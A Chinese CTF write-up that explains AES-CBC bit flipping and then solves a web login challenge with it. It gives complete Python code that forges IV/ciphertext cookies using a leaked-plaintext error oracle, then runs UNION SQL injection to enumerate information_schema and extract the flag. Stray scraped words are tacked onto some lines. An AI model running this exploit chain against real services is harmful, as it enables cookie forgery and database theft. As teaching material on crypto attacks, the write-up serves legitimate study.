AES CBC模式下的CBC bit flipping Attack

AES CBC模式下的CBC bit flipping Attack

1 簡介

若是理解了上一篇的padding oracle attack,則CBC字節翻轉攻擊很容易理解,上一篇的最後也經過修改IV達到了修改第一個加密分組數據的效果。 CBC字節翻轉也相似,在有加密IV並能夠修改IV值和能得到服務器返回的明文結果的狀況下,就能經過修改IV得到想要的明文結果。 php

2 字節翻轉攻擊測試

還以上一節的測試程序爲例子。用字節翻轉攻擊修改解密後的明文。 css

測試請求數據: html

def my_dec_req(data):
    '''測試解密,注意這裏使用test_dec函數,直接解密出明文'''
    txt = b64_url_enc(bytes_to_str(base64.b64encode(data)))
    return test_dec(txt)

test_txt = 'this is a long long test'
test1 = test_enc(test_txt)
test_data = base64.b64decode(b64_url_dec(test1))

# 解密出原始明文
print('decoded text:', my_dec_req(test_data))
decoded text: this is a long long test

修改my_dec_req直接解密出明文。 java

cbc字節翻轉的具體實現: python

def data_xor(xs, ys):
    '''xor兩個序列'''
    return bytes([x ^ y for (x, y) in zip(xs, ys)])

def cbc_xor(data, fake_data, org_data):
    '''使用cbc xor構造第一個僞造數據
    data 加密後的密文,前16字節爲iv
    fake_data 要僞造的明文
    org_data 原始明文,只要有前16個字節的明文便可'''
    data_is = data_xor(data[0:BS], org_data[0:BS])
    return build_fake_first(data, fake_data, data_is)

new_data=cbc_xor(test_data, "admin pass", bytes(test_txt, 'utf-8'))

from urllib.parse import quote
print("decoded text:", quote(my_dec_req(new_data)))
decoded text: admin%20pass%06%06%06%06%06%06ong%20test

能夠看到前16字節明文被成功替換,不過由於僞造的字符串不夠16個字節,添加了padding: mysql

使用空格代替pkcs7 padding: web

def pad_bs_space(s):
    '''不足一個分組長的字符串 填充空格'''
    return s + ' ' * (BS - len(s))

new_data=cbc_xor(test_data, pad_bs_space("admin pass"), bytes(test_txt, 'utf-8'))
print("decoded text:", my_dec_req(new_data))
decoded text: admin pass      ong test

3 測試實驗吧簡單的登陸題

這個簡單登錄題主要就是利用cbc字節反轉攻擊進行注入。 sql

3.1 測試程序

打開ctf頁面,發現有一個登錄框,隨便輸入提交,burp抓包,能夠看到響應中設置了Cookie: iv和cipher。還有tips: test.php,訪問test.php,得到源碼。 shell

define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
  if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
    return 1;
  }
  return 0;
}
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
  $iv = get_random_iv();
  $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
  global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $sql="select * from users limit ".$info['id'].",0";
            $result=mysqli_query($link,$sql);

            if(mysqli_num_rows($result)>0  or die(mysqli_error($link))){
              $rows=mysqli_fetch_array($result);
        echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
      }
      else{
        echo '<h1><center>Hello!</center></h1>';
      }
        }else{
            die("ERROR!");
        }
    }
}
if(isset($_POST['id'])){
    $id = (string)$_POST['id'];
    if(sqliCheck($id))
    die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
    $info = array('id'=>$id);
    login($info);
    echo '<h1><center>Hello!</center></h1>';
}else{
    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
        show_homepage();
    }else{
        echo '<body class="login-body" style="margin:0 auto">
                <div id="wrapper" style="margin:0 auto;width:800px;">
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>input id to login</span>
                        </div>
                        <div class="content">
                        <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <p><input type="submit" name="submit" value="Login" class="button" /></p>
                        </div>
                    </form>
                </div>
            </body>';
    }
}

能夠看到show_homepage函數中檢查cookie,並使用aes-128-cbc模式解密。 數據庫

3.2 模擬請求

下面使用python模擬請求:

import re
import base64
from urllib.parse import quote,unquote
import requests as req

proxy = 'http://192.168.0.102:8080'
use_proxy = False
MY_PROXY = None
if use_proxy:
    MY_PROXY = {
        # 本地代理,用於測試,若是不須要代理能夠註釋掉
    'http': proxy,
        'https': proxy,
    }

main_url = "http://ctf5.shiyanbar.com/web/jiandan/index.php"
headers = {
    "Referer": "http://ctf5.shiyanbar.com/web/jiandan/index.php",
    "User-Agent": "Mozilla/5.0 (Windows NT 8.1; Win64; x64) "
}

def decode_pass(s):
    return base64.b64decode(unquote(s))

def encode_pass(s):
    return quote(base64.b64encode(s))

def syb_enc(id):
    '''獲取一組加密數據,(iv, cipher)'''
    resp = req.post(main_url, data={'id':id, 'submit':'Login'}, headers=headers, proxies=MY_PROXY)
    return decode_pass(resp.cookies['iv']), decode_pass(resp.cookies['cipher'])

def syb_dec(data):
    "解密請求"
    cookies = {'iv': encode_pass(data[:16]),
               'cipher': encode_pass(data[16:])}
    return req.get(main_url, headers=headers, cookies=cookies, proxies=MY_PROXY)

iv, cipher = syb_enc('test')
print("iv len:", len(iv), "cipher len:", len(cipher))
iv len: 16 cipher len: 32

cipher長度爲32個字節,表示明文至少16個有效字符。

3.3 解密出明文

因爲不知道明文,須要從服務器解密,能夠用padding oracle,不過查看源碼能夠發現,密文解密後有個反序列化過程,若是反序列化失敗,會返回base64編碼的明文。獲取明文的實現代碼:

def jiandan_extract_txt(text):
    "從html結果中提取出明文數據"
    txt = re.search('base64_decode\(\'(.*)\'\)', text)[1]
    return decode_pass(txt)

def dec_data(data):
    '''獲取data對應的明文, data=iv+cipher'''
    data = b'1'*16 + data
    resp = syb_dec(data)
    return jiandan_extract_txt(resp.text)[16:]

dec1 = dec_data(iv + cipher)
print("decrypt cipher:", dec1)
decrypt cipher: b'a:1:{s:2:"id";s:4:"test";}'

3.4 構造僞造數據

由此能夠根據明文實現cbc字節翻轉攻擊,可是cbc字節翻轉也只能修改第一個分組的明文,由於只能控制原始iv。可是這裏因爲每次反序列化失敗的時候服務器都會返回明文,就能夠利用這個明文繼續構造新的iv,也就能達到整個數據的修改,代碼以下:

def pad_bs(bs):
    return bs + (BS - len(bs) % BS) * bytes([(BS - len(bs) % BS)])

def build_jiandan_fake_block(data, fake_block):
    '''構造一個僞造分組'''
    org_data = pad_bs(dec_data(data))
    return cbc_xor(data, fake_block, org_data)

def jiandan_enc_text(txt):
    '''實現加密明文'''
    fake_groups = partition_group(txt)
    # 第一次使用正確的iv解密明文,由於要處理padding
    enced_data = build_jiandan_fake_block(cipher[-BS*2:],fake_groups[-1])
    # 後面的分組使用隨機iv獲取中間狀態值
    fake_iv = b'1'*16
    for group in reversed(fake_groups[:-1]):
        new_enced = fake_iv + enced_data
        enced_data = build_jiandan_fake_block(new_enced, group)
    return enced_data

test_enc1 = jiandan_enc_text('this is a test fake data')
print('deced:', dec_data(test_enc1))
deced: b'this is a test fake data'

3.5 調用php進行序列化

能正確解密出明文。下面就須要使用php序列化進行sql語句注入,python調用php進行序列化,代碼以下:

import subprocess

def php_run(code):
    cc = subprocess.run(["php", "-r", code], capture_output=True)
    if cc.returncode != 0:
        print("php run:", code, "return code:", cc.returncode)
        print("error:", cc.stderr)
    return cc.stdout

def php_serialize(php_obj):
    '''對php_obj(php字符串)進行序列化'''
    code = 'echo serialize(%s);' % php_obj
    return str(php_run(code), 'utf-8')

def php_unserialize(php_obj):
    '''對php_obj(php字符串)進行序列化'''
    code = 'var_dump(unserialize(\'%s\'));' % php_obj
    r1 =  str(php_run(code), 'utf-8')
    print(r1)
    return r1

php_unserialize(str(dec1, 'utf-8'))
s1 = php_serialize("['id' => 'this is a test go']")
print('serialize:', s1)
Command line code:1:
array(1) {
  'id' =>
  string(4) "test"
}

serialize: a:1:{s:2:"id";s:17:"this is a test go";}

3.6 執行sql注入

sql注入利用的代碼以下:

def jiandan_send_id(id):
    payload = php_serialize("['id' => \"%s\"]" % id)
    enced_payload = jiandan_enc_text(payload)
    return syb_dec(enced_payload).text

def send_sql_query(query):
    '''發送sql查詢語句'''
    return jiandan_send_id('0 UNION %s #' % query)

print(send_sql_query('SELECT NULL'))
The used SELECT statements have a different number of columns

成功進行注入,下面一步步注入,獲取到flag,第一步獲取sql查詢語句的列數:

# 獲取sql查詢的列數,保存到query_cols變量
for i in range(1,10):
    cols = ', '.join(['NULL'] * i)
    result = send_sql_query('SELECT ' + cols)
    print(result)
    if not re.search(r'different', result):
        query_cols = i
        break
print('query cols: %d' % query_cols)

The used SELECT statements have a different number of columns
The used SELECT statements have a different number of columns
<h1><center>Hello!</center></h1>
query cols: 3

3.7 經過注入查詢獲取flag

知道了這個查詢有3列,下一步是獲取數據庫名和表名:

result_sep = '@RREE'
col_sep = '@,'

def build_query_result(sql):
    '''構造返回的結果字符串的格式,方便提取結果'''
    return "concat('%s',%s,'%s')" % (result_sep, sql, result_sep)

def build_query_columns(cols):
    '''構造多列的查詢結果格式'''
    cols_seps = ",'%s'," % col_sep
    return build_query_result(cols_seps.join(cols))

def parse_query_result(data):
    '''解析查詢結果'''
    row = data.split(result_sep)
    if len(row) < 3:
        return None
    return row[1].split(col_sep)


# 測試構造查詢
print(build_query_columns(['a', 'b', 'c']))

def jiandan_query_one(col, db, row=0):
    '''查詢一行結果,返回1行數據
    col爲要查詢的的列,
    db爲數據庫,
    row爲要查詢的行'''
    return send_sql_query('SELECT NULL,%s,NULL from %s limit %d,1' % (col, db, row))

def jiandan_query(cols,db, max_row = 100):
    '''查詢數據庫db的cols列,max_row爲最大查詢行數'''
    result = []
    col = build_query_columns(cols)
    for i in range(max_row):
        r1 = jiandan_query_one(col, db, i)
        print('%d --> %s' % (i, r1))
        r1 = parse_query_result(r1)
        if r1:
            result.append(r1)
        else:
            break
    return result

def query_db_info():
    '''查詢數據庫信息'''
    return jiandan_query(["table_schema", "column_name", "table_name"],
                         "information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'")

print(query_db_info())

print('flag:')
print(jiandan_query(['value'], 'you_want'))
concat('@RREE',a,'@,',b,'@,',c,'@RREE')
0 --> Got error 28 from storage engine
[]
flag:
0 --> <h1><center>Hello!@RREEflag{c42b2b758a5a36228156d9d671c37f19}@RREE</center></h1>
1 --> 
[['flag{c42b2b758a5a36228156d9d671c37f19}']]

此次查詢會出現Got error 28 from storage engine, mysql的臨時文件夾滿了,應該是題目服務器的問題。 最終的flag在you_want表的value列中。

4 總結

搞清楚異或運算的計算步驟後,字節翻轉仍是很容易理解的。

做者: ntestoc

Created: 2019-07-23 週二 09:56

相關文章
相關標籤/搜索